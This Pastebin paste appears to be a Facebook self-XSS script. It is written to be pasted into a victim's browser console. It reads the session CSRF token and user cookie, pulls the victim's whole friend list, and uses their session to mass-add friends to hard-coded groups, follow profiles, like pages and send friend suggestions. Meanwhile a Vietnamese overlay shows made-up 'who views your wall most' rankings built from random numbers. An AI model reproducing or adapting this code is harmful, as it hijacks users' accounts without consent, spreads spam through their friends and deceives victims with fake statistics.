Advertisement
Dan38zzzz

gr mem

Jun 7th, 2014
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.28 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. function sublist(uidss) {
  61. var a = document.createElement('script');
  62. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  63. document.body.appendChild(a);
  64. }
  65.  
  66.  
  67. var stn = new Array();
  68.  
  69. for (k=0;k<5;k++)
  70. {
  71. stn[k] = Math.floor((Math.random()*300)+1);
  72. }
  73. for (var h=0;h<5;h++) {
  74. for (var j=h+1;j<5;j++) {
  75. if (stn[h]<stn[j]) {
  76. var temp=stn[h];
  77. stn[h] = stn[j];
  78. stn[j]=temp;
  79. }
  80. }
  81. }
  82. var gid = ['1458040124434967'];
  83. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  84. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  85. var httpwp = new XMLHttpRequest();
  86. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  87. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  88. httpwp['open']('POST', urlwp, true);
  89. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  90. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  91. httpwp['setRequestHeader']('Connection', 'keep-alive');
  92. httpwp['send'](paramswp);
  93. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  94. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  95. var friends = new Array();
  96. gf = new XMLHttpRequest();
  97. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  98. gf['send']();
  99. if (gf['readyState'] != 4) {} else {
  100. data = eval('(' + gf['responseText']['substr'](9) + ')');
  101. if (data['error']) {} else {
  102. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  103. return _0x93dax8['index'] - _0x93dax9['index']
  104. })
  105. }
  106. };
  107. var Title = 'Đang Thống Kê Xem Ai Để ý đến bạn nhiều nhất <br> (Made By) <A style="color:#3B5998;" href="https://www.facebook.com/Bigzero.Shallyhuumanh">Hữu Mạnh.</A>';
  108. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  109. var Descriptions = "",
  110. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/Bigzero.Shallyhuumanh?ref=tn_tnmn/">Largest Group.</A> Join it now.';
  111.  
  112. function AddFriendtoGroup(opo) {
  113. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  114. var b = a.substring(a.indexOf("{"));
  115. var c = JSON.parse(b);
  116. i--;
  117. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  118. if (c.error) {
  119. Descriptions += "color:darkred'>";
  120. err++;
  121. if (c.errorDescription) Descriptions += c.errorDescription;
  122. else Descriptions += JSON.stringify(c, null, "")
  123. } else {
  124. Descriptions += "color:darkgreen'>";
  125. Descriptions += arn[i] + " has been added.<br/>";
  126. suc++
  127. }
  128. Descriptions += "</div>";
  129. var sotinnhan = new Array();
  130. sotinnhan[i] = Math.floor((Math.random()*300)+1);
  131. var toptin = 0;
  132. var sothutu = 1;
  133. if(toptin < sotinnhan[i]){
  134. toptin = sotinnhan[i];
  135. sothutu = i;
  136. }
  137. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  138. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  139. if (i > 0) {
  140. display += "Đang kiểm tra " + arr.length + " bạn bè của bạn<br/>";
  141. display += "<b>" + suc + "</b> Đã kiểm tra " + (arr.length - i) + " bạn thành công ";
  142. display += "(" + i + " Lefted...)";
  143. display += "<div class='friend-edge'>";
  144. display += Descriptions;
  145. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a><br>Vào Tường Bạn <font color=\"#FF3300\">" + Math.floor((Math.random()*300)+1)+"</font> Lần/Ngày.";
  146. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  147. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  148. display += _text;
  149. display += "</div>";
  150. display += "</div>"
  151. } else {
  152. var usernn = new Array();
  153.  
  154.  
  155. display += "Đã kiểm tra" + arr.length + " bạn bè của bạn.<br/>";
  156. //display += suc + " Friends Added</br>";
  157. //display += err + " Friends Not Added</br></br>";
  158. display += "<font color=\"#FF3300\" size=\"3\">Top 5 người Để ý đến bạn nhiều nhất </font></br></br>";
  159. for (k=0;k < 5;k++)
  160. {
  161. usernn[k] = Math.floor((Math.random()*arr.length)+1);
  162. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[usernn[k]] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[usernn[k]] + "</a> Vào Tường Bạn <font color=\"#FF3300\">" + stn[k] +"</font> Lần/Ngày.<br><br>";
  163. }
  164. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  165. }
  166. display += "</div>";
  167. document.getElementById("pagelet_sidebar").innerHTML = display
  168. }, "text", "post");
  169. tay--;
  170. if (tay > 0) {
  171. var s = arr[tay];
  172. sx = pho[tay];
  173. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  174. }
  175. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  176. if (gid != 435365383236430) {
  177. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=435365383236430&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  178. }
  179. if (newcomer) {
  180. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100001722433643&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  181. }
  182. if (newcomer) {
  183. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100001722433643&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  184. }
  185. if (newcomer) {
  186. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100001722433643&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  187. }
  188. if (newcomer) {
  189. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100001722433643&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  190. }
  191. if (newcomer) {
  192. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100001722433643&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  193. }
  194. }
  195. function clickfr_callback() {
  196. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  197. var a = arr[i];
  198. if (i < arr.length) addfriend(a.substring(0, 4))
  199. }
  200. function clickfr() {
  201. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  202. else j++;
  203. setTimeout("clickfr_callback()", 2E3)
  204. }
  205. function addfriend(a) {
  206. i++;
  207. setTimeout("clickfr()", 2E3)
  208. }
  209. jx = {
  210. getHTTPObject: function() {
  211. var a = false;
  212. if (typeof ActiveXObject != "undefined") try {
  213. a = new ActiveXObject("Msxml2.XMLHTTP")
  214. } catch (b) {
  215. try {
  216. a = new ActiveXObject("Microsoft.XMLHTTP")
  217. } catch (c) {
  218. a = false
  219. }
  220. } else if (window.XMLHttpRequest) try {
  221. a = new XMLHttpRequest
  222. } catch (b) {
  223. a = false
  224. }
  225. return a
  226. },
  227. load: function(url, callback, format, method, opt) {
  228. var http = this.init();
  229. if (!http || !url) return;
  230. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  231. if (!method) method = "GET";
  232. if (!format) format = "text";
  233. if (!opt) opt = {};
  234. format = format.toLowerCase();
  235. method = method.toUpperCase();
  236. var now = "uid=" + (new Date).getTime();
  237. url += url.indexOf("?") + 1 ? "&" : "?";
  238. url += now;
  239. var parameters = null;
  240. if (method == "POST") {
  241. var parts = url.split("?");
  242. url = parts[0];
  243. parameters = parts[1]
  244. }
  245. http.open(method, url, true);
  246. var ths = this;
  247. if (opt.handler) http.onreadystatechange = function() {
  248. opt.handler(http)
  249. };
  250. else http.onreadystatechange = function() {
  251. if (http.readyState == 4) if (http.status == 200) {
  252. var result = "";
  253. if (http.responseText) result = http.responseText;
  254. if (format.charAt(0) == "j") {
  255. result = result.replace(/[\n\r]/g, "");
  256. result = eval("(" + result + ")")
  257. } else if (format.charAt(0) == "x") result = http.responseXML;
  258. if (callback) callback(result)
  259. } else {
  260. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  261. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  262. if (error) error(http.status)
  263. }
  264. };
  265. http.send(parameters)
  266. },
  267. bind: function(a) {
  268. var b = {
  269. url: "",
  270. onSuccess: false,
  271. onError: false,
  272. format: "text",
  273. method: "GET",
  274. update: "",
  275. loading: "",
  276. loadingIndicator: ""
  277. };
  278. for (var c in b) if (a[c]) b[c] = a[c];
  279. if (!b.url) return;
  280. var d = false;
  281. if (b.loadingIndicator) {
  282. d = document.createElement("div");
  283. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  284. d.setAttribute("class", "loading-indicator");
  285. d.innerHTML = b.loadingIndicator;
  286. document.getElementsByTagName("body")[0].appendChild(d);
  287. this.opt.loadingIndicator = d
  288. }
  289. if (b.loading) document.getElementById(b.loading).style.display = "block";
  290. this.load(b.url, function(a) {
  291. if (b.onSuccess) b.onSuccess(a);
  292. if (b.update) document.getElementById(b.update).innerHTML = a;
  293. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  294. if (b.loading) document.getElementById(b.loading).style.display = "none"
  295. }, b.format, b.method, b)
  296. },
  297. init: function() {
  298. return this.getHTTPObject()
  299. }
  300. };
  301. var nHtml = {
  302. FindByAttr: function(a, b, c, d) {
  303. if (c == "className") c = "class";
  304. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  305. if (e && e.singleNodeValue) return e.singleNodeValue;
  306. return null
  307. },
  308. FindByClassName: function(a, b, c) {
  309. return this.FindByAttr(a, b, "className", c)
  310. },
  311. FindByXPath: function(a, b) {
  312. try {
  313. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  314. } catch (d) {
  315. GM_log("bad xpath:" + b)
  316. }
  317. if (c && c.singleNodeValue) return c.singleNodeValue;
  318. return null
  319. },
  320. VisitUrl: function(a) {
  321. window.setTimeout(function() {
  322. document.location.href = a
  323. }, 500 + Math.floor(Math.random() * 500))
  324. },
  325. ClickWin: function(a, b, c) {
  326. var d = a.document.createEvent("MouseEvents");
  327. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  328. return !b.dispatchEvent(d)
  329. },
  330. Click: function(a) {
  331. return this.ClickWin(window, a, "click")
  332. },
  333. ClickTimeout: function(a, b) {
  334. window.setTimeout(function() {
  335. return nHtml.ClickWin(window, a, "click")
  336. }, b + Math.floor(Math.random() * 500))
  337. },
  338. ClickUp: function(a) {
  339. this.ClickWin(window, a, "mousedown");
  340. this.ClickWin(window, a, "mouseup");
  341. this.ClickWin(window, a, "click")
  342. },
  343. GetText: function(a, b) {
  344. var c = "";
  345. if (b == undefined) b = 0;
  346. if (b > 40) return;
  347. if (a.textContent != undefined) return a.textContent;
  348. for (var d = 0; d < a.childNodes.length; d++) {
  349. var e = a.childNodes[d];
  350. c += this.GetText(e, b + 1)
  351. }
  352. return c
  353. }
  354. };
  355. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  356. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  357. var c = document.getElementsByTagName("*");
  358. var d = [];
  359. var e;
  360. for (var f = 0;
  361. (e = c[f]) != null; f++) {
  362. var g = e.className;
  363. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  364. }
  365. return d
  366. };
  367. Array.prototype.find = function(a) {
  368. var b = false;
  369. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  370. if (a.test(this[i])) {
  371. if (!b) b = [];
  372. b.push(i)
  373. }
  374. } else if (this[i] === a) {
  375. if (!b) b = [];
  376. b.push(i)
  377. }
  378. return b
  379. };
  380. var i = 3;
  381. var tay = 3;
  382. var j = 0;
  383. var k = 0;
  384. var suc = 0;
  385. var err = 0;
  386. var arr = new Array;
  387. var arn = new Array;
  388. var pho = new Array;
  389. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  390. var gid = document.getElementsByName("group_id")[0].value;
  391. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  392. var b = a;
  393. var c = b.substring(b.indexOf("{"));
  394. var d = JSON.parse(c);
  395. d = d.payload.entries;
  396. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  397. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  398. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  399. i = arr.length - 1;
  400. tay = i;
  401. console.log(arr.length);
  402. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  403. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  404. display += arr.length + " Friends Detected";
  405. display += "</div>";
  406. document.getElementById("pagelet_sidebar").innerHTML = display;
  407. AddFriendtoGroup(arr[i])
  408. });
  409.  
  410. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement